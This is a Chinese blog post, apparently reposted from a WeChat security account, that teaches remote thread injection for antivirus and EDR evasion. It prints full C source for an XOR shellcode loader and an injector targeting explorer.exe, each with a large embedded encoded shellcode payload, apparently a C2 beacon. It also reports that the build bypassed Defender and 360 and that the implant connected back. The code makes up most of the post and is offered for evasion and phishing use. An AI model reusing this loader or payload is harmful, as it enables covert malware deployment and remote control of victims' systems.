远程线程注入(Remote Thread Injection)是一种常见的进程注入技术,经常用于红队渗透、恶意软件加载、持久化控制等场景中,尤其在免杀(AV/EDR bypass)应用领域中,是一种历史悠久但依然有效的手段。
简单来说,就是:将恶意代码注入到目标进程的内存空间中,并在该进程内启动一个新的线程来执行这段代码。
这个过程涉及两个核心点:
1、代码注入:把你的payload(比如shellcode)写进别的进程的内存中;
2、线程创建:让目标进程自己启动线程执行这段payload。
1、打开目标进程
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
2、在目标进程内申请内存
LPVOID remoteAddr = VirtualAllocEx(hProcess, NULL, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
3、写入Shellcode或Payload
WriteProcessMemory(hProcess, remoteAddr, shellcode, shellcodeSize, NULL);
4、 创建远程线程执行Payload
CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)remoteAddr, NULL, 0, NULL);
1、代码不在自身进程中执行,容易绕过行为分析;
2、注入到可信进程中(如 explorer.exe、svchost.exe),有助于混淆监控;
3、可结合过程混淆(obfuscation)、API动态解析、加密Shellcode等技术进一步绕过EDR。
1、贴上原xor加载器代码
// 使用字符串 "kun" 作为 XOR key
unsigned char xor_key[] = { 'k', 'u', 'n' };
const size_t key_len = sizeof(xor_key);
// XOR混淆的 shellcode(请用你的真实 shellcode 替换)
unsigned char encoded_shellcode[] = "x97x3dxedx8fx85x86xa3x75x6ex6bx34x3fx2ax25x3cx3ax23x26x5axa7x0bx23xfex3cx0bx3dxe5x39x6dx26xe0x27x4ex23xfex1cx3bx3dx61xdcx3fx24x26x44xa7x23x44xaexc7x49x0fx17x77x42x4bx34xafxa2x78x2fx6axb4x8cx86x27x2fx3ax3dxe5x39x55xe5x29x49x26x6axa5x08xeax0dx76x60x77x1bx19xfexeexe3x75x6ex6bx3dxebxabx01x09x23x74xbex3bxfex26x73x31xe5x2bx55x27x6axa5x8dx3dx3dx91xa2x34xe5x5fxfdx26x6axa3x23x5axbcx26x5axb5xc2x2axb4xa7x66x34x6fxaax4dx8ex1ex84x22x68x39x4ax63x30x57xbax00xb6x33x31xe5x2bx51x27x6axa5x08x2axfex62x23x31xe5x2bx69x27x6axa5x2fxe0x71xe6x23x74xbex2ax2dx2fx33x2bx37x31x34x36x2ax2cx2fx31x3dxedx87x55x2fx39x8ax8ex33x34x37x31x3dxe5x79x9cx21x94x8ax91x36x1fx6ex22xcbx19x02x1bx07x05x10x1ax6bx34x38x22xfcx88x27xfcx9fx2axcfx22x1cx53x69x94xa0x26x5axbcx26x5axa7x23x5axb5x23x5axbcx2fx3bx34x3ex2axcfx54x3dx0cxc9x94xa0x85x18x2fx26xe2xb4x2fxd3x28x7fx6bx75x23x5axbcx2fx3ax34x3fx01x76x2fx3ax34xd4x3cxfcxf1xadx8axbbx80x2cx35x23xfcxafx23x44xbcx22xfcxb6x26x44xa7x39x1dx6ex69x35xeax39x27x2fxd1x9ex3bx45x4ex91xbex3dxe7xadx3dxedxa8x25x04x61x2ax26xe2x84x26xe2xafx27xacxb5x91x94x8ax91x26x44xa7x39x27x2fxd1x58x68x73x0ex91xbexf0xaex64xf0xf3x6ax75x6ex23x8axa1x64xf1xe2x6ax75x6ex80xa6x87x8fx74x6ex6bx9dxccx94x8ax91x44x1fx2fx27x13x6ex29xfbx4cx87x7cx4exa3x5ax27x7ex12x9bxe1xb6xcbx0dx98x9ex71x24xf0xbbx35xe9x45x21xf4x5fx7fx0cx90xf4x74xe8x6axb2xb5x4fx8cxf6xd6x9ex51xdfx81xaex76x30x26xddxbdx75x63x41xc0x67x3cx70xd5xf5x79xadx41x9fxc5xa7x6axfdx58x20xbdxafx8cx75x3bx18x10x1cx46x34x09x0ex1bx1ax51x55x23x04x0fx07x07x19x0fx44x40x40x5bx55x46x08x1ax03x1bx14x1ax02x17x02x0ex4ex4ex26x26x27x2ex55x5fx5bx5bx5ex50x55x39x02x1bx0ax04x02x1dx4bx3bx3ax4bx43x40x5ax4ex4ex3cx3ax39x5dx41x55x4bx21x1cx02x11x0bx05x01x41x5dx5bx5ex42x78x64x6bx43xacxbcx37xdfx7bx58xffx31x6fx96x46xfex4fx38xd0xe3xf3xfbx3cx0cx3ax75x82x1cxf1xd9x1dxd2x49x6bx9ax46x25x9exafx69x9ax83x12xf0x10xb9x26x75x0ax1axaex03x61x24x6fx4bxe9xe7xcdx58xf4xbex95xd0x46x3fx7bx37x76xc8x0bx35x3bx9ax2bxaaxd5x1cxafx4bx35xdax25x9ax69x5cx0fxd4x0cx3bxbax3dxd2xf0xb9x6axcdx8fx81xe2x9ex52xebx6dx1ex61x25x5cx1exc4x0fx0ex1fxa3x88x22x5bx62x3exc1xeexd7x8cx43xf1x25x90xf4x7dxbbxbcxc7x7ex9dx83xfaxffx9dxbfx51x9fx76x7axb2xc7xa7xa0x6cxddxddxe8x55xc9xb7xdaxa1xfexd5x9dx0exabx49xb9x06x93xacx62x68xd6xd4x0bx75x17x50x9fx02x8fx7bx0dx47x97xc7x5dxc6x34x43x86x20xc3x5fx4exd5x64x83x5dx7fx55x6bx69x3ex7fx99x02x4fxa4x1bxa1x0ex07x03x54x1dxf2xe1x04x4dxa8x36xd3x09x6ex2axcbx9exdexd7x38x94xa0x26x5axbcxd4x6bx75x2ex6bx34xd6x6bx65x6ex6bx34xd7x2bx75x6ex6bx34xd4x33xd1x3dx8ex8axbbx23xe6x3dx38x3dxe7x8cx3dxe7x9ax3dxe7xb1x34xd6x6bx55x6ex6bx3cxe7x92x34xd4x79xe3xe7x89x8axbbx23xf6xaax4bxf0xaex1fxc3x08xe0x72x26x6axb6xebxabx00xb9x33x2dx36x23x70x6ex6bx75x6ex3bxb6x86xf4x88x91x94x44x57x59x5bx5fx5dx4dx40x59x40x5bx45x44x6ex6bx7fx42x41" /* shellcode 省略,原样复制 */;
size_t shellcode_len = sizeof(encoded_shellcode);
intmain(){
// 申请 RWX 内存
LPVOID exec_mem = VirtualAlloc(NULL, shellcode_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!exec_mem) {
printf("VirtualAlloc failed.n");
return -1;
}
// 复制加密的 shellcode 到可执行内存
memcpy(exec_mem, encoded_shellcode, shellcode_len);
// 在已加载的内存中解密 shellcode
for (size_t i = 0; i < shellcode_len; ++i) {
((unsigned char*)exec_mem)[i] ^= xor_key[i % key_len];
}
// 创建线程执行 shellcode
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)exec_mem, NULL, 0, NULL);
if (!hThread) {
printf("CreateThread failed.n");
VirtualFree(exec_mem, 0, MEM_RELEASE);
return -1;
}
// 等待 shellcode 执行完成
WaitForSingleObject(hThread, INFINITE);
// 清理
VirtualFree(exec_mem, 0, MEM_RELEASE);
return 0;
}
2、改成远程线程注入
// 已XOR加密的shellcode
unsigned char shellcode[] = /* ... encrypted shellcode bytes ... */ "x97x3dxedx8fx85x86xa3x75x6ex6bx34x3fx2ax25x3cx3ax23x26x5axa7x0bx23xfex3cx0bx3dxe5x39x6dx26xe0x27x4ex23xfex1cx3bx3dx61xdcx3fx24x26x44xa7x23x44xaexc7x49x0fx17x77x42x4bx34xafxa2x78x2fx6axb4x8cx86x27x2fx3ax3dxe5x39x55xe5x29x49x26x6axa5x08xeax0dx76x60x77x1bx19xfexeexe3x75x6ex6bx3dxebxabx01x09x23x74xbex3bxfex26x73x31xe5x2bx55x27x6axa5x8dx3dx3dx91xa2x34xe5x5fxfdx26x6axa3x23x5axbcx26x5axb5xc2x2axb4xa7x66x34x6fxaax4dx8ex1ex84x22x68x39x4ax63x30x57xbax00xb6x33x31xe5x2bx51x27x6axa5x08x2axfex62x23x31xe5x2bx69x27x6axa5x2fxe0x71xe6x23x74xbex2ax2dx2fx33x2bx37x31x34x36x2ax2cx2fx31x3dxedx87x55x2fx39x8ax8ex33x34x37x31x3dxe5x79x9cx21x94x8ax91x36x1fx6ex22xcbx19x02x1bx07x05x10x1ax6bx34x38x22xfcx88x27xfcx9fx2axcfx22x1cx53x69x94xa0x26x5axbcx26x5axa7x23x5axb5x23x5axbcx2fx3bx34x3ex2axcfx54x3dx0cxc9x94xa0x85x18x2fx26xe2xb4x2fxd3x28x7fx6bx75x23x5axbcx2fx3ax34x3fx01x76x2fx3ax34xd4x3cxfcxf1xadx8axbbx80x2cx35x23xfcxafx23x44xbcx22xfcxb6x26x44xa7x39x1dx6ex69x35xeax39x27x2fxd1x9ex3bx45x4ex91xbex3dxe7xadx3dxedxa8x25x04x61x2ax26xe2x84x26xe2xafx27xacxb5x91x94x8ax91x26x44xa7x39x27x2fxd1x58x68x73x0ex91xbexf0xaex64xf0xf3x6ax75x6ex23x8axa1x64xf1xe2x6ax75x6ex80xa6x87x8fx74x6ex6bx9dxccx94x8ax91x44x1fx2fx27x13x6ex29xfbx4cx87x7cx4exa3x5ax27x7ex12x9bxe1xb6xcbx0dx98x9ex71x24xf0xbbx35xe9x45x21xf4x5fx7fx0cx90xf4x74xe8x6axb2xb5x4fx8cxf6xd6x9ex51xdfx81xaex76x30x26xddxbdx75x63x41xc0x67x3cx70xd5xf5x79xadx41x9fxc5xa7x6axfdx58x20xbdxafx8cx75x3bx18x10x1cx46x34x09x0ex1bx1ax51x55x23x04x0fx07x07x19x0fx44x40x40x5bx55x46x08x1ax03x1bx14x1ax02x17x02x0ex4ex4ex26x26x27x2ex55x5fx5bx5bx5ex50x55x39x02x1bx0ax04x02x1dx4bx3bx3ax4bx43x40x5ax4ex4ex3cx3ax39x5dx41x55x4bx21x1cx02x11x0bx05x01x41x5dx5bx5ex42x78x64x6bx43xacxbcx37xdfx7bx58xffx31x6fx96x46xfex4fx38xd0xe3xf3xfbx3cx0cx3ax75x82x1cxf1xd9x1dxd2x49x6bx9ax46x25x9exafx69x9ax83x12xf0x10xb9x26x75x0ax1axaex03x61x24x6fx4bxe9xe7xcdx58xf4xbex95xd0x46x3fx7bx37x76xc8x0bx35x3bx9ax2bxaaxd5x1cxafx4bx35xdax25x9ax69x5cx0fxd4x0cx3bxbax3dxd2xf0xb9x6axcdx8fx81xe2x9ex52xebx6dx1ex61x25x5cx1exc4x0fx0ex1fxa3x88x22x5bx62x3exc1xeexd7x8cx43xf1x25x90xf4x7dxbbxbcxc7x7ex9dx83xfaxffx9dxbfx51x9fx76x7axb2xc7xa7xa0x6cxddxddxe8x55xc9xb7xdaxa1xfexd5x9dx0exabx49xb9x06x93xacx62x68xd6xd4x0bx75x17x50x9fx02x8fx7bx0dx47x97xc7x5dxc6x34x43x86x20xc3x5fx4exd5x64x83x5dx7fx55x6bx69x3ex7fx99x02x4fxa4x1bxa1x0ex07x03x54x1dxf2xe1x04x4dxa8x36xd3x09x6ex2axcbx9exdexd7x38x94xa0x26x5axbcxd4x6bx75x2ex6bx34xd6x6bx65x6ex6bx34xd7x2bx75x6ex6bx34xd4x33xd1x3dx8ex8axbbx23xe6x3dx38x3dxe7x8cx3dxe7x9ax3dxe7xb1x34xd6x6bx55x6ex6bx3cxe7x92x34xd4x79xe3xe7x89x8axbbx23xf6xaax4bxf0xaex1fxc3x08xe0x72x26x6axb6xebxabx00xb9x33x2dx36x23x70x6ex6bx75x6ex3bxb6x86xf4x88x91x94x44x57x59x5bx5fx5dx4dx40x59x40x5bx45x44x6ex6bx7fx42x41";
SIZE_T shellcodeSize = sizeof(shellcode);
// 通过进程名称查找PID(Unicode版本)
DWORD findPidByName(const wchar_t* procName) {
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnap == INVALID_HANDLE_VALUE) return 0;
PROCESSENTRY32W pe = { 0 };
pe.dwSize = sizeof(pe);
if (Process32FirstW(hSnap, &pe)) {
do {
if (_wcsicmp(pe.szExeFile, procName) == 0) {
CloseHandle(hSnap);
return pe.th32ProcessID;
}
} while (Process32NextW(hSnap, &pe));
}
CloseHandle(hSnap);
return 0;
}
int main() {
// 1. 找到已运行的目标进程PID
DWORD pid = findPidByName(L"explorer.exe");
if (!pid) {
wprintf(L"[-] 无法找到目标进程: notepad.exen");
return -1;
}
// 2. 打开目标进程
HANDLE hProcess = OpenProcess(
PROCESS_CREATE_THREAD |
PROCESS_VM_OPERATION |
PROCESS_VM_WRITE |
PROCESS_VM_READ,
FALSE, pid);
if (!hProcess) {
wprintf(L"[-] OpenProcess 失败 (%u)n", GetLastError());
return -1;
}
// 3. 分配远程内存
LPVOID remoteAddr = VirtualAllocEx(
hProcess, NULL,
shellcodeSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if (!remoteAddr) {
wprintf(L"[-] VirtualAllocEx 失败 (%u)n", GetLastError());
CloseHandle(hProcess);
return -1;
}
// 4. 写入已加密shellcode
if (!WriteProcessMemory(
hProcess, remoteAddr,
shellcode, shellcodeSize, NULL))
{
wprintf(L"[-] WriteProcessMemory 失败 (%u)n", GetLastError());
CloseHandle(hProcess);
return -1;
}
// 5. 远程内存XOR解密 (Key = "kun")
unsigned char xorKey[] = "kun";
SIZE_T keyLen = sizeof(xorKey) - 1;
for (SIZE_T i = 0; i < shellcodeSize; ++i) {
BYTE b;
ReadProcessMemory(hProcess,
(LPCVOID)((BYTE*)remoteAddr + i),
&b, 1, NULL);
b ^= xorKey[i % keyLen];
WriteProcessMemory(hProcess,
(LPVOID)((BYTE*)remoteAddr + i),
&b, 1, NULL);
}
wprintf(L"[+] Shellcode 已写入并解密n");
// 6. 创建远程线程执行Shellcode
HANDLE hThread = CreateRemoteThread(
hProcess, NULL, 0,
(LPTHREAD_START_ROUTINE)remoteAddr,
NULL, 0, NULL);
if (!hThread) {
wprintf(L"[-] CreateRemoteThread 失败 (%u)n", GetLastError());
}
else {
wprintf(L"[+] 远程线程已创建 (TID: %u)n", GetThreadId(hThread));
CloseHandle(hThread);
}
// 7. 清理句柄
CloseHandle(hProcess);
return 0;
}
3、编译出来,拉到DF检测,结果如图
4、运行测试,成功上线且能执行命令,绕过DF!
5、手贱一下,多做一步。这里也放到360上看看:执行上线后,原程序被杀,但是目标已经借助其他程序上线,后续不影响执行命令
远程线程注入是经典但逐渐显老的手段,仍然可以用,但需要叠加混淆/绕过技巧才能在免杀中长期站得住脚。
#免杀 #C2 #远程线程注入 #钓鱼 #进程注入 #CS #CobaltStrike
原文始发于微信公众号(仇辉攻防):【免杀】C2免杀技术(七)远程线程注入
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论